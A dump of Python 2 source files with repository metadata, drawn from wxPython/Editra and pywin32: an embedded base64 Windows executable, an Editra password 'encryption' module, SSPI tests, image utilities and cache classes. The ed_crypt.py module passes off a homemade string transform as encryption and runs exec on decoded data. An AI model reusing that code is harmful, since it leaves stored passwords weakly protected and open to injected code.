"\n\"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\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>\n\"<KEY>\n\"<KEY>\n\"<KEY>\n\"<KEY>\n\"<KEY>\"\n\"<KEY>\"\n\"<KEY>)\n\n# Embed the recycle program for windows into this module\nif __name__ == '__main__':\n s = base64.b64encode(open('recycle.exe').read())\n lines = list()\n for piece in xrange(0, (len(s)/77)):\n lines.append(s[(piece*77):(piece*77)+77])\n lines.append(s[(len(s)/77)*77:])\n line = [ \"\\\"%s\\\"\" % x for x in lines ]\n prog = \"\\n\".join(line)\n module = open('_winrecycle.py').read()\n module = re.compile(r'^recycle = .+$\\)', re.M).sub(r\"recycle = base64.b64decode(\\n%s)\" % prog, module)\n open('_winrecycle.py','w').write(module)\n print \"Embedding was ok?\", ''.join(lines) == s\n\n", "id": "12144125", "language": "Python", "matching_score": 0.4718511700630188, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/_winrecycle.py" }, { "content": "###############################################################################\n# Name: ed_crypt.py #\n# Purpose: Cryptography Library for encrypting/decrypting saved data #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2007 <NAME> <<EMAIL>> #\n# License: wxWindows License #\n###############################################################################\n\n\"\"\"\nThis module provides utilities for encrypting and decrypting data. It is mostly\nused for saving passwords and other sensitive data in config files. The code in\nthis file uses a fairly simple string transformation algorithm combined with a \nrandom salt for the encryption/decryption, and I also threw in a little code \nobfustication just for fun ;-).\n\nUSAGE:\n\nEncrypt:\n 1. Get the password string to encrypt\n 2. Generate a new random salt with os.urandom() or some other randomly \n generated string for each password to use as an encryption key\n 3. Encrypt the password by calling Encrypt(password, salt)\n 4. Save the salt somewhere else\n 5. Write out the encrypted password to your config file\n\nDecrypt:\n 1. Get the encrypted password string\n 2. Get the associated salt\n 3. Decrypt and get the orignal password by calling \n Decrypt(encrypted_passwd, salt)\n\nEXAMPLE:\n\n >>> salt = os.urandom(8)\n >>> passwd = \"<PASSWORD>\"\n >>> encrypted_passwd = Encrypt(passwd, salt)\n >>> print encrypted_passwd\n eNoNysERADAIArCVUAFx/8XauzyTqTEtdKEXoQIWCbCZjaM74qhPlhK4f+BVPKTTyQP7JQ5i\n >>> decrypted_passwd = Decrypt(passwd, salt)\n >>> print decrypted_passwd\n Hello<PASSWORD>\n\nFinally:\nThis message will self destruct in 5 seconds ...\n\n@summary: Cryptographic routines for encrypting/decrypting text\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__svnid__ = \"$Id: ed_crypt.py 52855 2008-03-27 14:53:06Z CJP $\"\n__revision__ = \"$Revision: 52855 $\"\n\n__all__ = [ 'Encrypt', 'Decrypt' ]\n\n#-----------------------------------------------------------------------------#\n# Import\nimport os\nimport zlib\nimport random\nimport base64\n\n#-----------------------------------------------------------------------------#\n# Private Functions\n\ndef _Encode(text):\n g = lambda y: (y!='\\\\' and [y] or [str(8+(random.randint(0,100)%2))])[0]\n return ''.join([g(y) for y in ''.join(['\\\\%o'%ord(x) for x in text])])\n\ndef _Decode(text):\n exec 's=\"'+text.replace('8','\\\\').replace('9','\\\\')+'\"'\n return s\n\n#-----------------------------------------------------------------------------#\n# Public Functions\n\ndef Encrypt(passwd, salt):\n \"\"\"Encrypt the given password string using the supplied salt as the \n cryptographic key. If either the passwd or salt strings are empty the \n return value will be the same as the passwd parameter.\n @param passwd: String to encrypt\n @param salt: key to encrypt string with\n\n \"\"\"\n if not len(passwd.strip()) or not len(salt.strip()):\n return passwd\n else:\n return base64.b64encode(zlib.compress(str(long(_Encode(passwd))*\\\n long(_Encode(salt).replace('8','9'))),9))\n\ndef Decrypt(passwd, salt):\n \"\"\"Decrypt the given password string using the supplied salt as a key\n If either the passwd or salt strings are empty the return value will be\n the same as the passwd parameter.\n @param passwd: a non empty string\n @param salt: a non empty string\n\n \"\"\"\n if not len(passwd.strip()) or not len(salt.strip()):\n return passwd\n else:\n return _Decode(str(long(zlib.decompress(base64.b64decode(passwd)))/\\\n long(str.replace(_Encode(salt),'8','9'))))\n\n#-----------------------------------------------------------------------------#\n# Test\nif __name__ == '__main__':\n TEST_FILE = \"TEST_passwd.crypt\"\n PASSWD = '<PASSWORD>'\n salt = os.urandom(8)\n print \"PASSWORD STR: \", PASSWD\n es = Encrypt(PASSWD, salt)\n print \"ENCRYPTED STR: \", es\n print \"DECRYPTED STR: \", Decrypt(es, salt)\n\n print \"Empty String Test\"\n salt2 = os.urandom(8)\n es = Encrypt('', salt2)\n print \"Encrypted String\", es\n print \"Decrypted String\", Decrypt(es, salt)\n", "id": "9607643", "language": "Python", "matching_score": 0.9570238590240479, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ed_crypt.py" }, { "content": "# Some tests of the win32security sspi functions.\n# Stolen from Roger's original test_sspi.c, a version of which is in \"Demos\"\n# See also the other SSPI demos.\nimport re\nimport win32security, sspi, sspicon, win32api\nfrom pywin32_testutil import TestSkipped, testmain, str2bytes\nimport unittest\n\n# It is quite likely that the Kerberos tests will fail due to not being\n# installed. The NTLM tests do *not* get the same behaviour as they should\n# always be there.\ndef applyHandlingSkips(func, *args):\n try:\n return func(*args)\n except win32api.error, exc:\n if exc.winerror == sspicon.SEC_E_NO_CREDENTIALS:\n raise TestSkipped(exc)\n raise\n\n\nclass TestSSPI(unittest.TestCase):\n\n def assertRaisesHRESULT(self, hr, func, *args):\n try:\n return func(*args)\n raise RuntimeError(\"expecting %s failure\" % (hr,))\n except win32security.error, exc:\n self.failUnlessEqual(exc.winerror, hr)\n\n def _doAuth(self, pkg_name):\n sspiclient=sspi.ClientAuth(pkg_name,targetspn=win32api.GetUserName())\n sspiserver=sspi.ServerAuth(pkg_name)\n\n sec_buffer=None\n err = 1\n while err != 0:\n err, sec_buffer = sspiclient.authorize(sec_buffer)\n err, sec_buffer = sspiserver.authorize(sec_buffer)\n return sspiclient, sspiserver\n\n def _doTestImpersonate(self, pkg_name):\n # Just for the sake of code exercising!\n sspiclient, sspiserver = self._doAuth(pkg_name)\n sspiserver.ctxt.ImpersonateSecurityContext()\n sspiserver.ctxt.RevertSecurityContext()\n\n def testImpersonateKerberos(self):\n applyHandlingSkips(self._doTestImpersonate, \"Kerberos\")\n\n def testImpersonateNTLM(self):\n self._doTestImpersonate(\"NTLM\")\n\n def _doTestEncrypt(self, pkg_name):\n\n sspiclient, sspiserver = self._doAuth(pkg_name)\n\n pkg_size_info=sspiclient.ctxt.QueryContextAttributes(sspicon.SECPKG_ATTR_SIZES)\n msg=str2bytes('some data to be encrypted ......')\n\n trailersize=pkg_size_info['SecurityTrailer']\n encbuf=win32security.PySecBufferDescType()\n encbuf.append(win32security.PySecBufferType(len(msg), sspicon.SECBUFFER_DATA))\n encbuf.append(win32security.PySecBufferType(trailersize, sspicon.SECBUFFER_TOKEN))\n encbuf[0].Buffer=msg\n sspiclient.ctxt.EncryptMessage(0,encbuf,1)\n sspiserver.ctxt.DecryptMessage(encbuf,1)\n self.failUnlessEqual(msg, encbuf[0].Buffer)\n # and test the higher-level functions\n data_in = str2bytes(\"hello\")\n data, sig = sspiclient.encrypt(data_in)\n self.assertEqual(sspiserver.decrypt(data, sig), data_in)\n\n data, sig = sspiserver.encrypt(data_in)\n self.assertEqual(sspiclient.decrypt(data, sig), data_in)\n\n def _doTestEncryptStream(self, pkg_name):\n # Test out the SSPI/GSSAPI interop wrapping examples at\n # https://docs.microsoft.com/en-us/windows/win32/secauthn/sspi-kerberos-interoperability-with-gssapi\n\n sspiclient, sspiserver = self._doAuth(pkg_name)\n\n pkg_size_info=sspiclient.ctxt.QueryContextAttributes(sspicon.SECPKG_ATTR_SIZES)\n msg=str2bytes('some data to be encrypted ......')\n\n trailersize=pkg_size_info['SecurityTrailer']\n blocksize=pkg_size_info['BlockSize']\n encbuf=win32security.PySecBufferDescType()\n encbuf.append(win32security.PySecBufferType(trailersize, sspicon.SECBUFFER_TOKEN))\n encbuf.append(win32security.PySecBufferType(len(msg), sspicon.SECBUFFER_DATA))\n encbuf.append(win32security.PySecBufferType(blocksize, sspicon.SECBUFFER_PADDING))\n encbuf[1].Buffer=msg\n sspiclient.ctxt.EncryptMessage(0,encbuf,1)\n\n encmsg = encbuf[0].Buffer + encbuf[1].Buffer + encbuf[2].Buffer\n decbuf=win32security.PySecBufferDescType()\n decbuf.append(win32security.PySecBufferType(len(encmsg), sspicon.SECBUFFER_STREAM))\n decbuf.append(win32security.PySecBufferType(0, sspicon.SECBUFFER_DATA))\n decbuf[0].Buffer = encmsg\n\n sspiserver.ctxt.DecryptMessage(decbuf,1)\n self.failUnlessEqual(msg, decbuf[1].Buffer)\n\n def testEncryptNTLM(self):\n self._doTestEncrypt(\"NTLM\")\n\n def testEncryptStreamNTLM(self):\n self._doTestEncryptStream(\"NTLM\")\n\n def testEncryptKerberos(self):\n applyHandlingSkips(self._doTestEncrypt, \"Kerberos\")\n\n def testEncryptStreamKerberos(self):\n applyHandlingSkips(self._doTestEncryptStream, \"Kerberos\")\n\n def _doTestSign(self, pkg_name):\n\n sspiclient, sspiserver = self._doAuth(pkg_name)\n\n pkg_size_info=sspiclient.ctxt.QueryContextAttributes(sspicon.SECPKG_ATTR_SIZES)\n msg=str2bytes('some data to be encrypted ......')\n \n sigsize=pkg_size_info['MaxSignature']\n sigbuf=win32security.PySecBufferDescType()\n sigbuf.append(win32security.PySecBufferType(len(msg), sspicon.SECBUFFER_DATA))\n sigbuf.append(win32security.PySecBufferType(sigsize, sspicon.SECBUFFER_TOKEN))\n sigbuf[0].Buffer=msg\n sspiclient.ctxt.MakeSignature(0,sigbuf,0)\n sspiserver.ctxt.VerifySignature(sigbuf,0)\n # and test the higher-level functions\n sspiclient.next_seq_num = 1\n sspiserver.next_seq_num = 1\n data = str2bytes(\"hello\")\n key = sspiclient.sign(data)\n sspiserver.verify(data, key)\n key = sspiclient.sign(data)\n self.assertRaisesHRESULT(sspicon.SEC_E_MESSAGE_ALTERED,\n sspiserver.verify, data + data, key)\n\n # and the other way\n key = sspiserver.sign(data)\n sspiclient.verify(data, key)\n key = sspiserver.sign(data)\n self.assertRaisesHRESULT(sspicon.SEC_E_MESSAGE_ALTERED,\n sspiclient.verify, data + data, key)\n\n def testSignNTLM(self):\n self._doTestSign(\"NTLM\")\n \n def testSignKerberos(self):\n applyHandlingSkips(self._doTestSign, \"Kerberos\")\n\n def _testSequenceSign(self):\n # Only Kerberos supports sequence detection.\n sspiclient, sspiserver = self._doAuth(\"Kerberos\")\n key = sspiclient.sign(\"hello\")\n sspiclient.sign(\"hello\")\n self.assertRaisesHRESULT(sspicon.SEC_E_OUT_OF_SEQUENCE,\n sspiserver.verify, 'hello', key)\n\n def testSequenceSign(self):\n applyHandlingSkips(self._testSequenceSign)\n\n def _testSequenceEncrypt(self):\n # Only Kerberos supports sequence detection.\n sspiclient, sspiserver = self._doAuth(\"Kerberos\")\n blob, key = sspiclient.encrypt(\"hello\",)\n blob, key = sspiclient.encrypt(\"hello\")\n self.assertRaisesHRESULT(sspicon.SEC_E_OUT_OF_SEQUENCE,\n sspiserver.decrypt, blob, key)\n\n def testSequenceEncrypt(self):\n applyHandlingSkips(self._testSequenceEncrypt)\n\n def testSecBufferRepr(self):\n desc = win32security.PySecBufferDescType()\n assert re.match('PySecBufferDesc\\(ulVersion: 0 \\| cBuffers: 0 \\| pBuffers: 0x[\\da-fA-F]{8,16}\\)', repr(desc))\n\n buffer1 = win32security.PySecBufferType(0, sspicon.SECBUFFER_TOKEN)\n assert re.match('PySecBuffer\\(cbBuffer: 0 \\| BufferType: 2 \\| pvBuffer: 0x[\\da-fA-F]{8,16}\\)', repr(buffer1))\n 'PySecBuffer(cbBuffer: 0 | BufferType: 2 | pvBuffer: 0x000001B8CC6D8020)'\n desc.append(buffer1)\n\n assert re.match('PySecBufferDesc\\(ulVersion: 0 \\| cBuffers: 1 \\| pBuffers: 0x[\\da-fA-F]{8,16}\\)', repr(desc))\n\n buffer2 = win32security.PySecBufferType(4, sspicon.SECBUFFER_DATA)\n assert re.match('PySecBuffer\\(cbBuffer: 4 \\| BufferType: 1 \\| pvBuffer: 0x[\\da-fA-F]{8,16}\\)', repr(buffer2))\n desc.append(buffer2)\n\n assert re.match('PySecBufferDesc\\(ulVersion: 0 \\| cBuffers: 2 \\| pBuffers: 0x[\\da-fA-F]{8,16}\\)', repr(desc))\n\nif __name__=='__main__':\n testmain()\n", "id": "5627608", "language": "Python", "matching_score": 1.0144562721252441, "max_stars_count": 3, "path": "Lib/site-packages/win32/test/test_sspi.py" }, { "content": "#----------------------------------------------------------------------\n# Name: wxPython.tools.img2img\n# Purpose: Common routines for the image converter utilities.\n#\n# Author: <NAME>\n#\n# RCS-ID: $Id: img2img.py 27567 2004-06-01 21:45:17Z RD $\n# Copyright: (c) 2002 by Total Control Software\n# Licence: wxWindows license\n#----------------------------------------------------------------------\n# 12/21/2003 - <NAME> (<EMAIL>)\n#\n# o V2.5 compatability update \n#\n\nimport getopt\nimport glob\nimport os\nimport sys\n\nimport wx\n\ndef convert(file, maskClr, outputDir, outputName, outType, outExt):\n if os.path.splitext(file)[1].lower() == \".ico\":\n icon = wx.Icon(file, wx.BITMAP_TYPE_ICO)\n img = wx.BitmapFromIcon(icon)\n else:\n img = wx.Bitmap(file, wx.BITMAP_TYPE_ANY)\n\n if not img.Ok():\n return 0, file + \" failed to load!\"\n else:\n if maskClr:\n om = img.GetMask()\n mask = wx.Mask(img, maskClr)\n img.SetMask(mask)\n if om is not None:\n om.Destroy()\n if outputName:\n newname = outputName\n else:\n newname = os.path.join(outputDir,\n os.path.basename(os.path.splitext(file)[0]) + outExt)\n if img.SaveFile(newname, outType):\n return 1, file + \" converted to \" + newname\n else:\n img = wx.ImageFromBitmap(img)\n if img.SaveFile(newname, outType):\n return 1, \"ok\"\n else:\n return 0, file + \" failed to save!\"\n\n\n\n\ndef main(args, outType, outExt, doc):\n if not args or (\"-h\" in args):\n print doc\n return\n\n outputDir = \"\"\n maskClr = None\n outputName = None\n\n try:\n opts, fileArgs = getopt.getopt(args, \"m:n:o:\")\n except getopt.GetoptError:\n print __doc__\n return\n\n for opt, val in opts:\n if opt == \"-m\":\n maskClr = val\n elif opt == \"-n\":\n outputName = val\n elif opt == \"-o\":\n outputDir = val\n\n if not fileArgs:\n print doc\n return\n\n for arg in fileArgs:\n for file in glob.glob(arg):\n if not os.path.isfile(file):\n continue\n ok, msg = convert(file, maskClr, outputDir, outputName,\n outType, outExt)\n print msg\n\n", "id": "12288559", "language": "Python", "matching_score": 0.8253729939460754, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/img2img.py" }, { "content": "#-----------------------------------------------------------------------------\n# Name: img2pyartprov.py\n# Purpose: \n#\n# Author: <NAME>\n#\n# RCS-ID: $Id: img2pyartprov.py 51004 2008-01-03 08:17:39Z RD $\n# Copyright: (c) 2006\n# Licence: wxPython\n#-----------------------------------------------------------------------------\n\"\"\" ArtProvider class that publishes images from modules generated by img2py.\n\nImage modules must be generated with the -u and -n <name> parameters.\n\nTypical usage:\n>>> import wx, wx.lib.art.img2pyartprov, myimagemodule\n>>> wx.ArtProvider.PushProvider(wx.lib.art.img2pyartprov.Img2PyArtProvider(myimagemodule))\n\nIf myimagemodule.catalog['MYIMAGE'] is defined, it can be accessed as:\n>>> wx.ArtProvider.GetBitmap('wxART_MYIMAGE')\n\n\"\"\"\n\nimport wx\n\n_NULL_BMP = wx.NullBitmap\nclass Img2PyArtProvider(wx.ArtProvider):\n def __init__(self, imageModule, artIdPrefix='wxART_'):\n self.catalog = {}\n self.index = []\n self.UpdateFromImageModule(imageModule)\n self.artIdPrefix = artIdPrefix\n\n wx.ArtProvider.__init__(self)\n\n def UpdateFromImageModule(self, imageModule):\n try:\n self.catalog.update(imageModule.catalog)\n except AttributeError:\n raise Exception, 'No catalog dictionary defined for the image module'\n\n try:\n self.index.extend(imageModule.index)\n except AttributeError:\n raise Exception, 'No index list defined for the image module'\n\n def GenerateArtIdList(self):\n return [self.artIdPrefix+name for name in self.index]\n \n def CreateBitmap(self, artId, artClient, size):\n if artId.startswith(self.artIdPrefix):\n name = artId[len(self.artIdPrefix):]\n if name in self.catalog:\n return self.catalog[name].GetBitmap()\n\n return _NULL_BMP\n\n", "id": "6276641", "language": "Python", "matching_score": 0.4589778482913971, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/lib/art/img2pyartprov.py" }, { "content": "###############################################################################\n# Name: histcache.py #\n# Purpose: History Cache #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Buisness Model Library: HistoryCache\n\nHistory cache that acts as a stack for managing a history list o\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: histcache.py 67123 2011-03-04 00:02:35Z CJP $\"\n__revision__ = \"$Revision: 67123 $\"\n\n__all__ = [ 'HistoryCache', 'HIST_CACHE_UNLIMITED',\n 'CycleCache']\n\n#-----------------------------------------------------------------------------#\n# Imports\n\n#-----------------------------------------------------------------------------#\n# Globals\nHIST_CACHE_UNLIMITED = -1\n\n#-----------------------------------------------------------------------------#\n\nclass HistoryCache(object):\n \"\"\"Data management cache.\n Maintains a positional list of objects that remembers the last access \n position in the cache.\n\n \"\"\"\n def __init__(self, max_size=HIST_CACHE_UNLIMITED):\n \"\"\"@param max_size: size of history cache (int)\"\"\"\n super(HistoryCache, self).__init__()\n\n # Attributes\n self._list = list()\n self.cpos = -1\n self.max_size = max_size\n\n def _Resize(self):\n \"\"\"Adjust cache size based on max size setting\"\"\"\n if self.max_size != HIST_CACHE_UNLIMITED:\n lsize = len(self._list)\n if lsize:\n adj = self.max_size - lsize \n if adj < 0:\n self._list.pop(0)\n self.cpos = len(self._list) - 1 \n\n def Clear(self):\n \"\"\"Clear the history cache\"\"\"\n del self._list\n self._list = list()\n self.cpos = -1\n\n def GetSize(self):\n \"\"\"Get the current size of the cache\n @return: int (number of items in the cache)\n\n \"\"\"\n return len(self._list)\n\n def GetMaxSize(self):\n \"\"\"Get the max size of the cache\n @return: int\n\n \"\"\"\n return self.max_size\n\n def GetNextItem(self):\n \"\"\"Get the next item in the history cache, moving the\n current position towards the end of the cache.\n @return: object or None if at end of list\n\n \"\"\"\n item = None\n if self.cpos < len(self._list) - 1:\n self.cpos += 1\n item = self._list[self.cpos]\n return item\n\n def GetPreviousItem(self):\n \"\"\"Get the previous item in the history cache, moving the\n current position towards the beginning of the cache.\n @return: object or None if at start of list\n\n \"\"\"\n item = None\n if self.cpos >= 0 and len(self._list) > 0:\n if self.cpos == len(self._list):\n self.cpos -= 1\n item = self._list[self.cpos]\n self.cpos -= 1\n return item\n\n def HasPrevious(self):\n \"\"\"Are there more items to the left of the current position\n @return: bool\n\n \"\"\"\n llen = len(self._list)\n more = ((self.cpos >= 0) and llen and (self.cpos < llen))\n return more\n\n def HasNext(self):\n \"\"\"Are there more items to the right of the current position\n @return: bool\n\n \"\"\"\n if self.cpos == -1 and len(self._list):\n more = True\n else:\n more = self.cpos >= 0 and self.cpos < (len(self._list) - 1)\n return more\n\n def PeekNext(self):\n \"\"\"Return the next item in the cache without modifying the\n currently managed position.\n @return: cache object\n\n \"\"\"\n if self.HasNext():\n return self._list[self.cpos+1]\n else:\n return None\n\n def PeekPrevious(self):\n \"\"\"Return the previous item in the cache without modifying the\n currently managed position.\n @return: cache object\n\n \"\"\"\n if self.HasPrevious():\n return self._list[self.cpos]\n else:\n return None\n\n def PutItem(self, item):\n \"\"\"Put an item on the top of the cache\n @param item: object\n\n \"\"\"\n if self.cpos != len(self._list) - 1:\n self._list = self._list[:self.cpos]\n self._list.append(item)\n self.cpos += 1\n self._Resize()\n\n def SetMaxSize(self, max_size):\n \"\"\"Set the maximum size of the cache\n @param max_size: int (HIST_CACHE_UNLIMITED for unlimited size)\n\n \"\"\"\n assert max_size > 0 or max_size == 1, \"Invalid max size\"\n self.max_size = max_size\n self._Resize()\n\n#-----------------------------------------------------------------------------#\n\nclass CycleCache(object):\n \"\"\"A simple circular cache. All items are added to the end of the cache\n regardless of the current reference position. As items are accessed from\n the cache the cache reference pointer is incremented, if it passes the\n end it will go back to the beginning.\n\n \"\"\"\n def __init__(self, size):\n \"\"\"Initialize the cache.\n @param size: cache size\n\n \"\"\"\n super(CycleCache, self).__init__()\n\n # Attributes\n self._list = list()\n self._cpos = -1\n self._size = size\n\n def __len__(self):\n return len(self._list)\n\n def NextIndex(self):\n \"\"\"Get the next index in the cache\n @return: int\n\n \"\"\"\n idx = self._cpos \n idx -= 1\n if abs(idx) > len(self._list):\n idx = -1\n return idx\n\n def Clear(self):\n \"\"\"Clear the cache\"\"\"\n del self._list\n self._list = list()\n\n def GetCurrentSize(self):\n \"\"\"Get the size of the cache\n @return: int\n\n \"\"\"\n return len(self._list)\n\n def GetNext(self):\n \"\"\"Get the next item in the cache and increment the\n current position.\n @return: object\n\n \"\"\"\n item = None\n if len(self._list): \n item = self._list[self._cpos]\n self._cpos = self.NextIndex()\n return item\n\n def PeekNext(self):\n \"\"\"Look the next item in the cache\n @return: object\n\n \"\"\"\n item = None\n if abs(self._cpos) < len(self._list):\n item = self._list[self._cpos]\n return item\n\n def PeekPrev(self):\n \"\"\"Look the next item in the cache\n @return: object\n\n \"\"\"\n idx = self._cpos + 1\n if idx == 0:\n idx = -1 * len(self._list)\n\n llen = len(self._list)\n if llen and abs(idx) <= llen:\n item = self._list[idx]\n else:\n item = None\n return item\n\n def PutItem(self, item):\n \"\"\"Put an item in the cache\n @param item: object\n\n \"\"\"\n llen = len(self._list)\n if llen and (llen == self._size):\n del self._list[0]\n self._list.append(item)\n\n def Reset(self):\n \"\"\"Reset the list reference pointer\"\"\"\n self._cpos = -1\n", "id": "666195", "language": "Python", "matching_score": 1.5669718980789185, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/histcache.py" }, { "content": "###############################################################################\n# Name: miscutil.py #\n# Purpose: Various helper functions. #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Business Model Library: MiscUtil\n\nVarious helper functions\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: miscutil.py 67329 2011-03-28 23:40:48Z CJP $\"\n__revision__ = \"$Revision: 67329 $\"\n\n__all__ = [ 'MinMax', 'Singleton']\n\n#-----------------------------------------------------------------------------#\n# Imports\n\n#-----------------------------------------------------------------------------#\n\nclass Singleton(type):\n \"\"\"Singleton metaclass for creating singleton classes\n @note: class being applied to must have a SetupWindow method\n\n \"\"\"\n def __init__(cls, name, bases, dict):\n super(Singleton, cls).__init__(name, bases, dict)\n cls.instance = None\n\n def __call__(cls, *args, **kw):\n if not cls.instance:\n # Not created or has been Destroyed\n obj = super(Singleton, cls).__call__(*args, **kw)\n cls.instance = obj\n\n return cls.instance\n\n#-----------------------------------------------------------------------------#\n\ndef MinMax(arg1, arg2):\n \"\"\"Return an ordered tuple of the minimum and maximum value\n of the two args.\n @return: tuple\n\n \"\"\"\n return min(arg1, arg2), max(arg1, arg2)\n", "id": "11051265", "language": "Python", "matching_score": 2.0503408908843994, "max_stars_count": 11, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/Editra/src/ebmlib/miscutil.py" }, { "content": "###############################################################################\n# Name: __init__.py #\n# Purpose: Editra Business Model Library #\n# Author: <NAME> <<EMAIL>> #\n# Copyright: (c) 2009 <NAME> <<EMAIL>> #\n# Licence: wxWindows Licence #\n###############################################################################\n\n\"\"\"\nEditra Business Model Library:\n\n\"\"\"\n\n__author__ = \"<NAME> <<EMAIL>>\"\n__cvsid__ = \"$Id: __init__.py 67506 2011-04-16 14:19:27Z CJP $\"\n__revision__ = \"$Revision: 67506 $\"\n\n#-----------------------------------------------------------------------------#\n\n# Text Utils\nfrom searcheng import *\nfrom fchecker import *\nfrom fileutil import *\nfrom fileimpl import *\nfrom txtutil import *\nfrom logfile import *\n\nfrom backupmgr import *\nfrom calllock import *\n\n# Storage Classes\nfrom histcache import *\nfrom clipboard import *\n\n# Networking utilities\nfrom e_weblib import *\n\n# Misc\nfrom miscutil import *\nfrom cmenumgr import *\nfrom efilehist import *\nfrom osutil import *\nfrom 